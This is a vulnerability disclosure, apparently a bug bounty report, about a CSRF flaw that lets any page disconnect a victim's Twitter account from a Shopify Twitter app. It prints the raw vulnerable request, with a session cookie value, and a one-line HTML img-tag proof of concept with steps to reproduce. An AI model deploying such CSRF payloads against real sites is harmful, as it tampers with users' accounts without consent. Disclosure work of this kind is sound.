Twitter Disconnect CSRF

How it was found

Hello,

Using this CSRF vulnerability one could disconnect twitter account from their profiles.

Vulnerable request

GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=bmpuTE5EdnUvYUU0eGxJRk1kMWo5WkI3Wmh1clJkempOTDcya2R3eFNIMG8zWGdpenMvTXY4eFczTWUrNGRQeXV4ZGVycEVtTDZWcFZVbEg1eEtFQjhzSEJVbkM5K05VUVJaeHVtNXBnNTJCNTdwZ2hLL0x0Kyt4eUVlSjRIOWdYTkcwd1NQWWJnbjRNaTF5UXlwa1ZIUlAwR1JmZ1Y5WmRvN2ZHWFY5REZSUmlsR0lnMHZlSjR1OTlTMW5xWDdZRnVGSnBSeEhqbWpNS3lYZmxBNjZoVE00L3pQT2NMd1NONkdwb2pkMXhDS1E2M2RXYlovZjYwaUZnV0JQKzQySlN0MTNKNG55Zlg2azFDdVJJL3RidmJMM0VJNmRVejhZbjVDTnFZNmxFN0k9LS1lY1Y2dnpBZTJCalZzS014SldFUllBPT0%3D--77463ef21e4c8ef530f466db49f78b8e1c2e1129; _ga=GA1.2.469272249.1453024796; _gat=1
Connection: keep-alive

POC code:

<html>
<body>
 <img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">
  </body>
</html>

Steps to reproduce

• Add twitter application at https://madamcury.myshopify.com/admin/apps/shopify-twitter
• Connect to your twitter account
• use the above poc code to disconnect the twitter account

Regards, WeSecureApp